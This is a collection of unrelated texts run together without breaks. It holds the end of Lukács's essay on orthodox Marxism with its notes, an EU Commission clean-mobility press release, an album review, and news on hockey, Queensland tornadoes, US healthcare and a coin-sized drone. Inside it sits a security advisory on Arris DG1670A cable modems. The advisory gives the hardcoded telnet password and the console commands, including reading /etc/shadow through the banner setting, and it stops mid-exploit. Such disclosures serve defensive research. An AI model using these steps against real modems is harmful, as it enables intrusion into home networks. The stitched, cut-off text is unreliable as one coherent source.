First, historical materialism became a formal, objective possibility only because economic factors created the proletariat, because the proletariat did emerge (i.e. at a particular stage of historical development), and because the subject and object of the knowledge of social reality were transformed. Second, this formal possibility became a real one only in the course of the evolution of the proletariat. If the meaning of history is to be found in the process of history itself and not, as formerly, in a transcendental, mythological or ethical meaning foisted on to recalcitrant material, this presupposes a proletariat with a relatively advanced awareness of its own position, i.e. a relatively advanced proletariat, and, therefore, a long preceding period of evolution. The path taken by this evolution leads from utopia to the knowledge of reality; from transcendental goals fixed by the first great leaders of the workers’ movement to the clear perception by the Commune of 1871 that the working-class has “no ideals to realise”, but wishes only “to liberate the elements of the new society.” It is the path leading from the “class opposed to capitalism” to the class “for itself.”
Seen in this light the revisionist separation of movement and ultimate goal represents a regression to the most primitive stage of the working-class movement. For the ultimate goal is not a ‘state of the future’ awaiting the proletariat somewhere independent of the movement and the path leading up to it. It is not a condition which can be happily forgotten in the stress of daily life and recalled only in Sunday sermons as a stirring contrast to workaday cares. Nor is it a ‘duty’, an ‘idea’ designed to regulate the ‘real’ process. The ultimate goal is rather that relation to the totality (to the whole of society seen as a process), through which every aspect of the struggle acquires its revolutionary significance. This relation informs every aspect in its simple and sober ordinariness, but only consciousness makes it real and so confers reality on the day-to-day struggle by manifesting its relation to the whole. Thus it elevates mere existence to reality. Do not let us forget either that every attempt to rescue the ‘ultimate goal’ or the ‘essence’ of the proletariat from every impure contact with – capitalist- existence leads ultimately to the same remoteness from reality, from ‘practical, critical activity’ and to the same relapse into the utopian dualism of subject and object, of theory and practice to which Revisionism has succumbed. [38]
The practical danger of every such dualism shows itself in the loss of any directive for action. As soon as you abandon the ground of reality that has been conquered and reconquered by dialectical materialism, as soon as you decide to remain on the ‘natural’ ground of existence, of the empirical in its stark, naked brutality, you create a gulf between the subject of an action and the milieu of the ‘facts’ in which the action unfolds so that they stand opposed to each other as harsh, irreconcilable principles. It then becomes impossible to impose the subjective will, wish or decision upon the facts or to discover in them any directive for action. A situation in which the ‘facts’ speak out unmistakably for or against a definite course of action has never existed, and neither can or will exist. The more conscientiously the facts are explored – in their isolation, i.e. in their unmediated relations – the less compellingly will they point in any one direction. It is self-evident that a merely subjective decision will be shattered by the pressure of uncomprehended facts acting automatically ‘according to laws’.
Thus dialectical materialism is seen to offer the only approach to reality which can give action a direction. The self-knowledge, both subjective and objective, of the proletariat at a given point in its evolution is at the same time knowledge of the stage of development achieved by the whole society. The facts no longer appear strange when they are comprehended in their coherent reality, in the relation of all partial aspects to their inherent, but hitherto unelucidated roots in the whole: we then perceive the tendencies which strive towards the centre of reality, to what we are wont to call the ultimate goal. This ultimate goal is not an abstract ideal opposed to the process, but an aspect of truth and reality. It is the concrete meaning of each stage reached and an integral part of the concrete moment. Because of this, to comprehend it is to recognise the direction taken (unconsciously) by events and tendencies towards the totality. It is to know the direction that determines concretely the correct course of action at any given moment – in terms of the interest of the total process, viz. the emancipation of the proletariat.
However, the evolution of society constantly heightens the tension between the partial aspects and the whole. Just because the inherent meaning of reality shines forth with an ever more resplendent light, the meaning of the process is embedded ever more deeply in day-to-day events, and totality permeates the spatio-temporal character of phenomena. The path to consciousness throughout the course of history does not become smoother but on the contrary ever more arduous and exacting. For this reason the task of orthodox Marxism, its victory over Revisionism and utopianism can never mean the defeat, once and for all, of false tendencies. It is an ever-renewed struggle against the insidious effects of bourgeois ideology on the thought of the proletariat. Marxist orthodoxy is no guardian of traditions, it is the eternally vigilant prophet proclaiming the relation between the tasks of the immediate present and the totality of the historical process. Hence the words of the Communist Manifesto on the tasks of orthodoxy and of its representatives, the Communists, have lost neither their relevance nor their value:
“The Communists are distinguished from the other working-class parties by this only: 1. In the national struggles of the proletarians of the different countries, they point out and bring to the front the common interests of the entire proletariat, independent of nationality. 2. In the various stages of development which the struggle of the working class against the bourgeoisie has to pass through, they always and everywhere represent the interests of the movement as a whole.”
March 1919.
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NOTES
1. Introduction to the Critique of Hegel’s Philosophy of Right, p. 52.
2. Ibid., p. 54.
3. Nachlass I, pp. 382-3. [Correspondence of 1843].
4. Ibid., p. 398. See also the essay on Class Consciousness.
5. Feuerbach and the End of Classical German Philosophy.
6. A Contribution to the Critique of Political Economy, (my italics). It is of the first importance to realise that the method is limited here to the realms of history and society. The misunderstandings that arise from Engels’ account of dialectics can in the main be put down to the fact that Engels – following Hegel’s mistaken lead – extended the method to apply also to nature. However, the crucial determinants of dialectics – the interaction of subject and object, the unity of theory and practice, the historical changes in the reality underlying the categories as the root cause of changes in thought, etc. – are absent from our knowledge of nature. Unfortunately it is not possible to undertake a detailed analysis of these questions here.
7. Ibid., pp. 298-9.
8. Introduction to The Class Struggles in France. But it must be borne in mind that ‘scientific exactitude’ presupposes that the elements remain ‘constant’. This had been postulated as far back as Galileo.
9. Capital III, p. 205. Similarly also pp. 47-8 and 307. The distinction between existence (which is divided into appearance, phenomenon and essence) and reality derives from Hegel’s Logic. It is unfortunately not possible here to discuss the degree to which the conceptual framework of Capital is based on these distinctions. Similarly, the distinction between idea (Vorstellung) and concept (Begriff) is also to be found in Hegel.
10. Capital III, p. 797.
11. A Contribution to Political Economy, p. 293.
12. Ibid., p. 273. The category of reflective connection also derives from Hegel’s Logic. [See Explanatory Notes for this concept].
13. The Poverty of Philosophy, p. 123.
14. We would draw the attention of readers with a greater interest in questions of methodology to the fact that in Hegel’s logic, too, the relation of the parts to the whole forms the dialectical transition from existence to reality. It must be noted in this context that the question of the relation of internal and external also treated there is likewise concerned with the problem of totality. Hegel, Werke IV, pp. 156 ff.
15. Marx, Theorien über den Mehrwert, Stuttgart, 1905, II, II, pp. 305-9.
16. Marxistische Probleme, p. 77.
17. Theorien über den Mehrvert, III, pp. 55 and 93-4.
18. The Poverty of Philosophy, pp. 123-4.
19. A Contribution to Political Economy, pp. 291-2.
20. The very subtle nature of Cunow’s opportunism can be observed by the way in which – despite his thorough knowledge of Marx’s works – he substitutes the word ‘sum’ for the concept of the whole (totality) thus eliminating every dialectical relation. Cf. Die Marxsche Geschichts- Gesellschafts- und Staatstheorie, Berlin, 1929, II, pp. 155-7.
21. Wage Labour and Capital.
22. Capital I, p. 568.
23. Cf. the essay on Reification and the Consciousness of the Proletariat.
24. Capital I, p. 578.
25. Hegel, The Philosophy of Right, trans. T. M. Knox, Oxford, 1942, p. 283.
26. Nachlass II, p. 187. [The Holy Family, Chapter 6]
27. It comes as no surprise that at the very point where Marx radically departs from Hegel, Cunow should attempt to correct Marx by appealing to Hegel as seen through Kantian spectacles. To Marx’s purely historical view of the state he opposes the Hegelian state as ‘an eternal value’. Its ‘errors’ are to be set aside as nothing more than ‘historical matters’ which do not ‘determine the nature, the fate and the objectives of the state’. For Cunow, Marx is inferior to Hegel on this point because he ‘regards the question politically and not from the standpoint of the sociologist’. Cunow, op. cit. p. 308. It is evident that all Marx’s efforts to overcome Hegelian philosophy might never have existed in the eyes of the opportunists. If they do not return to vulgar materialism or to Kant they use the reactionary elements of Hegel’s philosophy of the state to erase revolutionary dialectics from Marxism, so as to provide an intellectual immortalisation of bourgeois society.
28. Hegel’s attitude towards national economy is highly significant in this context. (Philosophy of Right, § 189.) He clearly sees that the problem of chance and necessity is fundamental to it methodologically (very like Engels: Origin of the Family S.W. II, p. 293 and Feuerbach, etc. S.W. II, p. 354). But he is unable to see the crucial importance of the material reality underlying the economy, viz. the relation of men to each other; it remains for him no more than an ‘arbitrary chaos’ and its laws are thought to be ‘similar to those of the planetary system’. Ibid. §. 189.
29. Engels, Letter to J. Bloch, 21 September 1890.
30. Nachlass I, p. 381. [Correspondence with Ruge (1843)].
31. The Philosophy of History.
32. Theses on Feuerbach.
33. See the essay Class Consciousness for an explanation of this situation.
34. The Philosophy of Right, § 346-7.
35. Nachlass II, p. 133. [The Holy Family, Chapter 4].
36. Hilferding, Finanzkapital, pp. VIII-IX.
37. Capital III.
38. Cf. Zinoviev’s polemics against Guesde and his attitude to the war in Stuttgart. Gegen den Strom, pp. 470-1. Likewise Lenin’s book, “Left-Wing” Communism – an Infantile Disorder.The Commission proposes new targets for the EU fleet wide average CO2 emissions of new passenger cars and vans to help accelerate the transition to low- and zero emission vehicles.
The Commission today took a decisive step forward in implementing the EU's commitments under the Paris Agreement for a binding domestic CO2 reduction of at least 40% till 2030. At the same time as the international climate conference takes place in Bonn, the Commission is showing that the EU is leading by example. Commission President Jean-Claude Juncker outlined in the State of the European Union speech in September: "I want Europe to be the leader when it comes to the fight against climate change. Last year, we set the global rules of the game with the Paris Agreement ratified here, in this very House. Set against the collapse of ambition in the United States, Europe must ensure we make our planet great again. It is the shared heritage of all of humanity."
With the entering into force of the Paris Agreement, the international community has committed to move towards a modern low-carbon economy, while the automotive industry is undergoing profound transformation. The EU must seize this opportunity and become a global leader, with countries such as the United States and China moving ahead very quickly. To give one example: EU sales of new passenger cars relative to global sales have decreased from 34% before the financial crisis (2008/2009) to 20% today.To maintain market shares and to accelerate the transition towards low and zero emission vehicles, the Commission proposed today new targets for the EU fleet wide average CO 2 emissions of new passenger cars and vans that will apply from 2025 and 2030 respectively.
Today's proposals establish ambitious, realistic and enforceable rules to help secure a level playing field between actors in the industry operating in Europe. The package will also put in place a clear direction of travel towards achieving the EU's agreed commitments under the Paris Agreement and will stimulate both innovation in new technologies and business models, and a more efficient use of all modes for the transport of goods. These proposals will be boosted by targeted financial instruments to ensure a swift deployment.
The CO2 emission reduction targets the Commission proposes today are based on sound analysis and broad stakeholder involvement, from NGOs to industry. Both for new cars and vans, the average CO2 emissions will have to be 30% lower in 2030, compared to 2021.
The Vice-President responsible for the Energy Union, Maroš Šefčovič said: "We have entered an era of climate-friendly economic transformation. Today's set of proposals is setting the conditions for European manufacturers to lead the global energy transition rather than follow others. It will entice them to manufacture the best, cleanest and most competitive cars, hence regaining consumers' trust. This is a major leap in the right direction: a modern sustainable European economy with cleaner air in our cities and better integration of renewables into present and future energy systems."
Commissioner for Climate Action and Energy, Miguel Arias Cañete said: The global race to develop clean cars is on. It is irreversible. But Europe has to get its house in order to drive and lead this global shift. We need the right targets and the right incentives. With these CO2 measures for cars and vans, we are doing just that. Our targets are ambitious, cost-effective and enforceable. With the 2025 intermediary targets, we will kick-start investments already now. With the 2030 targets, we are giving stability and direction to keep up these investments. Today, we are investing in Europe and cracking down on pollution to meet our Paris Agreement pledge to cut our emissions by at least 40% by 2030."
Commissioner for Transport, Violeta Bulc said: "The Commission is taking unprecedented action in response to an ever growing challenge: reconciling the mobility needs of Europeans with the protection of their health and our planet. All dimensions of the challenge are being addressed. We are promoting cleaner vehicles, making alternative energy more accessible and improving the organisation of our transport system. This will keep Europe and Europeans on the move in a cleaner way."
Commissioner for Internal Market, Industry, Entrepreneurship and SMEs, Elżbieta Bieńkowska said: "Our car industry is at a turning point. To maintain its global leadership, and for the sake of our environment and public health, the car industry needs to invest in new and clean technologies. We will foster market uptake of zero emission cars with seamless charging infrastructure and high-quality batteries produced in Europe."
The Clean Mobility Package includes the following documents:
- New CO2 standards to help manufacturers to embrace innovation and supply low-emission vehicles to the market. The proposal also includes targets both for 2025 and 2030. The 2025 intermediary target ensures that investments kick-start already now. The 2030 target gives stability and long-term direction to keep up these investments. These targets help pushing the transition from conventional combustion-engine vehicles to clean ones.
- The Clean Vehicles Directive to promote clean mobility solutions in public procurement tenders and thereby provide a solid boost to the demand and to the further deployment of clean mobility solutions.
- An action plan and investment solutions for the trans-European deployment of alternative fuels infrastructure. The aim is to increase the level of ambition of national plans, to increase investment, and improve consumer acceptance.
- The revision of the Combined Transport Directive, which promotes the combined use of different modes for freight transport (e.g. lorries and trains), will make it easier for companies to claim incentives and therefore stimulate the combined use of trucks and trains, barges or ships for the transport of goods.
- The Directive on Passenger Coach Services, to stimulate the development of bus connections over long distances across Europe and offer alternative options to the use of private cars, will contribute to further reducing transport emissions and road congestion. This will offer additional, better quality and more affordable mobility options, particularly for people on low income.
- The battery initiative has strategic importance to the EU's integrated industrial policy so that the vehicles and other mobility solutions of tomorrow and their components will be invented and produced in the EU.
Next steps:
The Clean Mobility proposals will now be sent to the co-legislators and the Commission calls on all stakeholders to work closely together to ensure the swift adoption and implementation of these different proposals and measures, so that the benefits for the EU's industry, businesses, workers and citizens can be maximised and generated as soon as possible.
Background:
Today's package is part of wider political context to make European industry stronger and more competitive. As announced in our Renewed EU Industrial Policy Strategy that was presented in September 2017, the Commission's ambition is to help our industries stay or become the world leader in innovation, digitisation and decarbonisation.
Today's package is the second mobility package that the Commission presents this year. 'Europe on the Move' was presented in May 2017. It included a wide-ranging set of initiatives aimed at making traffic safer; encourage smart road charging; reduce CO2 emissions, air pollution and congestion; cut red-tape for businesses; fight illicit employment and ensure proper conditions and rest times for workers.
Following the Paris Agreement the world has committed to move towards a low-carbon economy. Many countries are now implementing policies to facilitate transition to cleaner economies. The Commission presented Communication on the implementation of the Paris Agreement commitments in March 2016, followed by A European Strategy for Low-Emission Mobility in June 2016.
The Low-Emission Mobility strategy outlined concrete actions that need to be taken to help Europe stay competitive and be able to respond to the increasing mobility needs of people and goods. The Low-Emission Mobility strategy, contributing to the Energy Union goals, set clear and fair guiding principles to Member States to prepare for the future. Today's proposals are the latest steps in turning these principles into concrete action.
For more information:
MEMO: Driving Clean Mobility: Questions & Answers on the initiatives that protect the planet, empower its consumers, and defend its industry and workers
DG Mobility and Transport: Clean Mobility Package, including documents adopted by the Commission
European Commission priorities: Energy Union and Climate
DG Climate Action: Proposal for post 2020 Co2 targets for cars and vans
DG Internal Market, Industry, Entrepreneurship and SMEs: Industrial Policy
Factsheet: Driving Clean Mobility: Protecting the Planet
Factsheet: Driving Clean Mobility: Europe that defends its's industry and workers
Factsheet: Driving Clean Mobility: For our People, the Planet and the European industry
Factsheet: Driving Clean Mobility: Europe that empowers its CitizensSince their first album, From Heaven on Earth, November Növelet has been moving more towards an incarnation as the cold-wave cousin of Haus Arafna. Both are projects of Galakthorrö’s label owners Mr. and Mrs. Arafna, but occupy different spaces. It’s tempting to categorize them as the female and male respectively (if for no other reason than that the vocal duties are generally split that way), or as the immediacy of anger (Haus Arafna) versus cool intellectual detachment (November Növelet). The World in Devotion takes this second comparison a step further, with the Arafnas crafting their coldest and most removed album yet.
There are certainly elements of the catchy, sweetened electro riffs that have characterized their last few releases. On some tracks (such as the opener, ‘Be Grateful to Your Murderer’), that factor seems to have been pushed forward more than ever. At the same time, the iciness that has always been a part of their work slices through to the fore on this album with the precision of a laser. Even at its delicate confectionary lightest, there is something dangerous at its heart: a razor blade baked into an angel’s food cake.
The album also features tracks that are the eeriest and least traditionally melodic since their debut—the sort of thing that seems to emanate from a grainy, grey world that exists at a distance from our own. This album moves November Növelet forward by reaching backward and importing some of their earlier, dissociative sounds into their more conventional (on the surface) material.
Holding all of this together, as always, are the supremely disinterested vocals of Mrs. Arafna. Her ability to affect a sense of world-weariness and icy allure is something unheard since Marlene Dietrich was in her prime. She sounds jaded beyond caring, even when the lyrics seem emotional. Singing as a lover drawn to someone who makes her unhappy, she is not passionate or angst-ridden; rather, she is the moth drawn inevitably to the existentialist flame, resigned to her fate without understanding it. There’s a sameness to the vocals that can dupe one into thinking there is a sameness in the music. Indeed, the first time I heard the album, I felt like there wasn’t enough variation from one track to another. On subsequent listens, I’ve realized that this is far from the case. The vocals lull you into a sense of familiarity and security, while the music chisels away at the ground beneath you.
I’ll just put it out there, in case it isn’t obvious already: I’m a fan of almost everything Galakthorrö. I admire the fact that they’ve been doing their own thing for two decades without bowing to trends or criticism. The sound of the label’s key artists has grown and morphed, but there is no getting around the fact that there is an essential ‘Galakthorrö-ness’ to everything they release: a gritty industrial edge that reminds me of the collision of the freakish, unbridled technological optimism and crippling paranoia that characterized the post-World War II ‘age of anxiety’. Their music is a celebration of technology—although in a way that sounds antique to modern ears—and at the same time, it’s dark, inhuman, and completely unsettling. November Növelet represent the most accessible edge of that sound, beckoning you forward like a film-noir mermaid.
Is this album something that’s primarily going to appeal to people who are already fans of November Növelet or the Galakthorrö label? Yes. Is it the sort of thing that people should listen to if they want something intriguing within the industrial genre, if they haven’t yet formed an opinion on the band or the label? Yes. Is it something that’s going to win over those who have already decided that they don’t care for the November Növelet/Galakthorrö sound? No, but that’s their loss.
_____________________________________________________
Track List:
01) Be Grateful to Your Murderer
02) The World in Devotion
03) Living Perfection
04) In Circles
05) Don’t Know Why I Love You
06) Always
07) Restless
08) He’s Dying Beside
09) Crying Walls
10) Made of Gold
11) Fire
Rating: 8.25/10
Written by: Kate MacDonald
Label: Galakthorrö (Germany) / Galakthorrö 037 / 12″ LP, CD, Digital
Industrial / Angst PopThe L.A. Kings High School Hockey League (LAKHSHL) may have just finished its inaugural season, but that doesn’t mean the league isn’t already looking forward.
The Kings league will expand for the 2016-17 season, as it plans to add seven new teams to the eight it had in its inaugural season – two varsity squads and five junior varsity teams.
All eight varsity teams from the first season will return – the champion Santa Barbara Royals (pictured), the Kern County Knights, the West Ranch Wildcats, the South County Aviators, the East County Outlaws, the El Segundo Strikers, the Burbank Cougars (formerly the San Gabriel Valley Cougars) and the Santa Clarita Cobras. Joining them in the varsity division will be the Torrance Destroyers and Valencia High School.
The new junior varsity division will be made up of the East County Outlaws, Santa Barbara Royals, Kern County Knights, Torrance Destroyers and West Ranch Wildcats.
“Adding more teams is definitely a positive, but we are very careful to make sure that we are growing at a rate that everyone can handle,” said Kings alumni, TV analyst and league commissioner Jim Fox.
“I think the JV programs are a very important part of our growth. We must make sure that the foundation is strong before we add teams just for the sake of adding teams. We have to make sure that the proper structure is in place as far as coaching, skill development and continuing to build the team pride that we feel is very important or our plan.
“Our first goal is to make sure that hockey is an option for anyone who wants to continue playing, but we must stress the necessary skills and game knowledge, as well as making sure we have the necessary ice time to ensure our growth. If we operate quality programs, we will grow. But the quality has to be there first.”
Brandon Convery will take over as the head coach of the Destroyers as they move from the Anaheim Ducks High School Hockey League to the LAKHSHL – a move that makes sense for the team geographically. A 14-year pro who suited up for the Toronto Maple Leafs, Vancouver Canucks and Kings in the NHL, he coached for six seasons at the AAA level with the L.A. Jr. Kings and started a hockey school after his playing career. He now runs a company that specializes in motivation and leadership, and was eager to get back into the hockey world when the opportunity came up with the Destroyers.
“This allows me to give back to the local communities and help out with what the Kings are trying to develop,” Convery said. “I’ll bring along the assistant coach (Jeff Bain) that I worked with at the Jr. Kings. We had a lot of success developing players and providing a great experience for players and families, and that’s what we’ll continue to focus on.”
Fox said he’s proud of the effort that the Kings staff has put behind efforts to make their high school hockey league successful. That’s already bearing fruit, though he knows there is still plenty of work to be done.
“Our staff commits endless hours to ensure that we are operating as efficiently as possible, and it goes beyond that,” Fox said. “The relationships that have been built and nurtured during our first year will last a lifetime and beyond, and our staff understands the importance of building relationships and working with people.
“We feel that our goals and the steps that need to be taken to accomplish these goals are in place and we have a long-term plan to reach these goals, but we also realize that not everyone is in agreement with us or on the same timeline. We ask those people for their patience as we strive to make our high school program a positive, well-rounded experience for everyone involved.”
– Greg BallTOWNS around the southeast Queensland city of Bundaberg could spend up to two days without power after five tornadoes wreaked havoc in the area on Australia Day.
Burnett Heads and nearby Bargara were declared disaster areas after twisters ripped through the coastal townships from 1pm AEST on Saturday, injuring a total of 17 people and damaging more than 150 homes.
Two people were critically injured when a giant pine tree fell on their parked car on the Esplanade at Bargara, while two homes were completely destroyed in the mini-cyclone that struck Burnett Heads.
Authorities said Burnett Heads was again struck by the latest in the series of twisters, which hit the area at 6pm AEST and 6.30pm.
Two people were believed to have been injured in the second onslaught, with powerlines down and at least one roof torn from a home.
And the Bureau of Meteorology says the worst may be yet to come.
It has forecast the "strong possibility" of further tornado activity around Burnett Heads, Wide Bay and at Maryborough, south of Bundaberg.
Queensland Premier Campbell Newman said powerlines were down in Burnett Heads and several buildings had lost their roofs.
Emergency services said the Bargara and Burnett Heads twisters had cut a "swathe of damage".
Power companies said it could take up to two days to restore electricity to the towns that were hit.
Bargara resident Judith McNamara, who witnessed the tornado through her kitchen window, said it left a car in her yard with a tree through it.
"All of a sudden... I looked up and a tree went flying through the air... and the car went up," she told ABC radio.
At least 15 other people were treated for minor injuries after being hit by flying glass and other debris in violent storm gusts.
A triage centre was set up outside a church at Bargara to treat the injured, while an evacuation centre was opened at Bundaberg, about 15km away.
Queensland Emergency Services Minister Jack Dempsey, who lives in Bundaberg, said a number of small towns and suburbs in the district had been hit by the mini-tornadoes.
"We are still trying to assess the extent of the damage," he said.
The third twister badly damaged a home when it hit the coastal town of Coonarr, about 20km south of Bundaberg, around 4.30pm (AEST).
As of 7.30pm AEST, residents in Bundaberg were being warned by Queensland police to stay indoors and shelter well clear of windows, doors and skylights as fierce storms continued to rage outside.
Meanwhile, residents in the small community of Winfield, north of Bundaberg, were issued an emergency notice and told to head to higher ground, with flooding imminent.
The State Emergency Service was warning that nearby Baffle Creek was expected to rise above record levels set in 1971.
Bundaberg district disaster co-ordinator superintendent Rowan Bond said the rain at Winfield was "unprecedented".
"Baffle Creek is higher than virtually anyone can remember," he told ABC TV.
Ergon Energy has warned Bundaberg, Bargara and Burnett Heads could be without power for up to 48 hours.Full Disclosure mailing list archives
By Date By Thread KL-001-2016-001 : Arris DG1670A Cable Modem Remote Command Execution From: KoreLogic Disclosures <disclosures () korelogic com>
Date: Fri, 12 Feb 2016 14:06:08 -0600
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA256 KL-001-2016-001 : Arris DG1670A Cable Modem Remote Command Execution Title: Arris DG1670A Cable Modem Remote Command Execution Advisory ID: KL-001-2016-001 Publication Date: 2016.02.12 Publication URL: https://www.korelogic.com/Resources/Advisories/KL-001-2016-001.txt 1. Vulnerability Details Affected Vendor: Arris Affected Product: Cable Modem Affected Version: DG1670A, TG1670 Platform: Embedded Linux CWE Classification: CWE-73: External Control of File Name or Path; CWE-77: Improper Neutralization of Special Elements used in a Command; CWE-522: Insufficiently Protected Credentials Impact: Arbitrary Code Execution Attack vector: Telnet CVE-ID: <Not yet assigned> 2. Vulnerability Description The Arris DG1670A leverages a combination of technologies to deliver the product functionality. Combining several of these technologies in an unanticipated way will allow an attacker to execute arbitrary commands on the underlying operating system as the most privileged user. 3. Technical Description Use the password: JhAkuo18 On August 28, 2015 a user on GitHub by the name of GuerrillaWarfare posted a new repository named Junkyard. The repository had firmware images for popular cable modems. Repository: https://github.com/GuerrillaWarfare/Junkyard Filename: TS0801102P_100714_NA.16XX.GW.ATOM.img Below is the directory content of the squashfs-root directory contained within the image: # ls bin etc gw.fsname include linuxrc nvram sbin share tmp var version dev fss hdisk1 lib mnt proc scripts sys usr var.tar vop The default IP address assigned to Arris modems is 192.168.100.1 and is routable from networks where the modem is attached. Below is a Nmap output of services listening on the default IP address: # sudo nmap -T5 -sU -sT -p- 192.168.100.1 Nmap scan report for 192.168.100.1 Host is up (0.0053s latency). PORT STATE SERVICE VERSION 80/tcp open http lighttpd 443/tcp open ssl/http lighttpd 2602/tcp open ripd? 8080/tcp open http lighttpd A service listening on port 2602 is usually associated with Quagga. Going back to the squashfs-root directory, if we grep through the content of this file system there are several.conf files containing passwords. One of the files containing passwords is zebra.conf, which can be used to authenticate to the Quagga telnet console. # grep -ri "password" *.conf|more etc/default/ripngd.conf:password JhAkuo18 etc/default/zebra.conf:password JhAkuo18 etc/default/ripd.conf:password JhAkuo18 $ telnet 192.168.100.1 2602 Trying 192.168.100.1... Connected to 192.168.100.1. Escape character is '^]'. Hello, this is Quagga (version 0.99.16). Copyright 1996-2005 Kunihiro Ishiguro, et al. User Access Verification Password: PROMPT> Entering a '?' at any point gives context-sensitive help text. There are several layers of 'privilege' though there are no restrictions on elevating on this device. Quagga is an open-source routing daemon commonly found in routers, access points, and modems. In the case described, it has been implemented on a cable modem to facilitate route provisioning from local ISP to the public internet. PROMPT>? echo Echo a message back to the vty enable Turn on privileged mode command exit Exit current mode and down to previous mode help Description of the interactive help system list Print command list quit Exit current mode and down to previous mode show Show running system information terminal Set terminal line parameters who Display who is on vty PROMPT> enable PROMPT#? clear Reset functions configure Configuration from vty interface copy Copy configuration debug Debugging functions (see also 'undebug') disable Turn off privileged mode command echo Echo a message back to the vty end End current mode and change to enable mode. exit Exit current mode and down to previous mode help Description of the interactive help system list Print command list logmsg Send a message to enabled logging destinations no Negate a command or set its defaults quit Exit current mode and down to previous mode show Show running system information terminal Set terminal line parameters who Display who is on vty write Write running configuration to memory, network, or terminal PROMPT# configure? terminal Configuration terminal PROMPT# configure terminal PROMPT(config)#? access-list Add an access list entry banner Set banner string debug Debugging functions (see also 'undebug') enable Modify enable password parameters end End current mode and change to enable mode. exit Exit current mode and down to previous mode help Description of the interactive help system hostname Set system's network name interface Select an interface to configure ip IP information ipv6 IPv6 information key Authentication key management line Configure a terminal line list Print command list log Logging control no Negate a command or set its defaults password Assign the terminal connection password quit Exit current mode and down to previous mode route-map Create route-map or enter route-map command mode router Enable a routing process service Set up miscellaneous service show Show running system information write Write running configuration to memory, network, or terminal The service message of the day banner can be abused to allow for arbitrary file reading. Also, the logging mechanism can be abused to allow for meaningful writes. The combination of these factors, along with a lack of shell metacharacter filtering, will be used to obtain remote command execution. PROMPT(config)# banner motd file? file Banner from a file PROMPT(config)# log file? FILENAME Logging filename PROMPT(config)# exit PROMPT# log notifications? MESSAGE The message to send Reading arbitrary files: PROMPT(config)# banner motd file /etc/shadow # telnet 192.168.100.1 |
in Silwan, I recommend reading this comprehensive report by Ir-Amim: Shady Dealings in Silwan.
An hour later, Bushra takes advantage of the police officers’ lunch break in order to once again try and go see what’s happening inside the house. “I can’t stand it,” she says, choking up. “They’re sleeping in my bed right now. All of our things are still there. All of the furniture, our clothes, everything. Even my baby brother’s diapers.”
This article was first published on +972’s Hebrew-language sister site, Local Call. Read it in Hebrew here.
Related:
Israel’s very own tunnels of dread in Jerusalem
The illusion of religious freedom in JerusalemBest great Pictures Quotes
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Senate majority leader Mitch McConnell on Thursday hinted that the Republican effort to repeal the Affordable Care Act (ACA) could fall short as conservatives and moderates in his conference remain at an impasse over key aspects of the bill.
Before leaving Washington for a week-long Fourth of July recess, McConnell delayed a vote on the Republican healthcare bill after it was clear there was not enough support for the plan, which would leave 22 million fewer people without health insurance over the next decade, according to an analysis by the Congressional Budget Office.
“If my side is unable to agree on an adequate replacement, then some kind of action with regard to the private health insurance market must occur,” McConnell told constituents at a Rotary Club lunch on Thursday, according to the Associated Press.
“No action is not an alternative,” he added. “We’ve got the insurance markets imploding all over the country, including in this state.”
Activists cry cowardice as Republican senators shut doors to healthcare town halls Read more
McConnell’s comments were quickly embraced by his Democratic counterpart, Senate minority leader Chuck Schumer.
“It’s encouraging that Senator McConnell today acknowledged that the issues with the exchanges are fixable, and opened the door to bipartisan solutions to improve our healthcare system,” Schumer said in a statement.
“As we’ve said time and time again, Democrats are eager to work with Republicans to stabilize the markets and improve the law. At the top of the list should be ensuring cost-sharing payments are permanent, which will protect healthcare for millions.”
McConnell faces a daunting task as he works behind the scenes with senators to craft a bill that bridges the ideological divide within his conference. Moderates, especially those from states that opted to expand Medicaid under the ACA (also known as Obamacare) are wary of scaling back spending on the health insurance program for low-income Americans, and conservatives are irked the plan does not go further to repeal the law.
“I’m in the position of a guy with a Rubik’s cube – trying to twist the dial in such a way to get at least 50 members of my conference who can agree to a version of repealing and replacing Obamcare,” McConnell told Kentucky voters at a town hall-style event on Thursday, according to NBC. “That is a very timely subject that I’m grappling with as we speak.”
Facebook Twitter Pinterest Senate minority leader Chuck Schumer holds up a photograph of constituents who would be adversely affected by the proposed Republican bill. Photograph: Andrew Harnik/AP
An initial draft of the Senate Republican healthcare plan mirrors the structure of the House bill, which passed in May. The measure would repeal key pieces of the ACA while extracting deep cuts to Medicaid compared to spending under current law.
McConnell has since made changes to the bill, including adding $45bn to combat the opioid epidemic, among other adjustments. The CBO is expected to release another analysis sometime next week, a likely indicator that Senate Republicans will not vote on the plan until later this month.
On Thursday, a handful of senate Republicans echoed McConnell’s skepticism about whether the party would be able to reach an agreement on healthcare.
“It is precarious,” senator Ted Cruz, a conservative of Texas, said on San Antonio’s KTSA Radio. “The majority is so narrow, I don’t know if we get it done or not.”
Senate Republicans are using a special budget process known as reconciliation to avoid a Democratic filibuster of the repeal plan. To pass the bill, Republicans need support from at least 50 of their 52 members. No Democrats are expected to support a repeal measure. In the case of a tie, vice-president Mike Pence would cast the final vote.
America's broken healthcare system – in one simple chart Read more
Cruz has offered an amendment that would allow insurance companies to sell non-compliant plans as long as they also offer at least one plan that does meet Obamacare standards. Experts on both sides of the political debate said such an action could devastate insurance markets.
Senator Jerry Moran, a Republican from Kansas who surprised his party when he came out against the bill, told constituents in Palco that healthcare reform is “almost impossible to try to solve when you’re trying to do it with 51 votes in the United States Senate, in which there is not significant consensus on what the final result ought to be”.
As the debate over healthcare rages, Senator Pat Toomey, a Republican of Pennsylvania who supports the bill, suggested during a televised town hall on Wednesday that McConnell was “several weeks away” from winning enough support for a vote. Asked why Republicans were struggling to fulfill a years-long campaign promise, Toomey offered a candid reply.
“Look, I didn’t expect Donald Trump to win,” he said. “I think most of my colleagues didn’t, so we didn’t expect to be in this situation.”Engineers at the University of Pennsylvania (Penn) have created Piccolissimo: a single-motor drone that is the size of a coin.
Despite the tiny size the real party trick is the way it manages flight. Inside the prototype there are only two moving parts: the propeller and the body itself.
The body, complete with embedded stabilisers, act as a second set of propellers which generate more lift.
To manoeuvre while in the air the motor is not placed directly in the centre of the build, but rather at an offset. This, as you’d imagine, actually makes Piccolissimo prone to flipping over, which is exactly the point. The force created by the offset is harnessed using a gyroscope and a process of turning the motor on and off in pulses. In this way the little machine will pitch and turn instead of rolling over completely and crashing.
There are currently two versions of Piccolissimo: a larger version which can do the aforementioned pitch and turn manoeuvres and a smaller one which cannot.
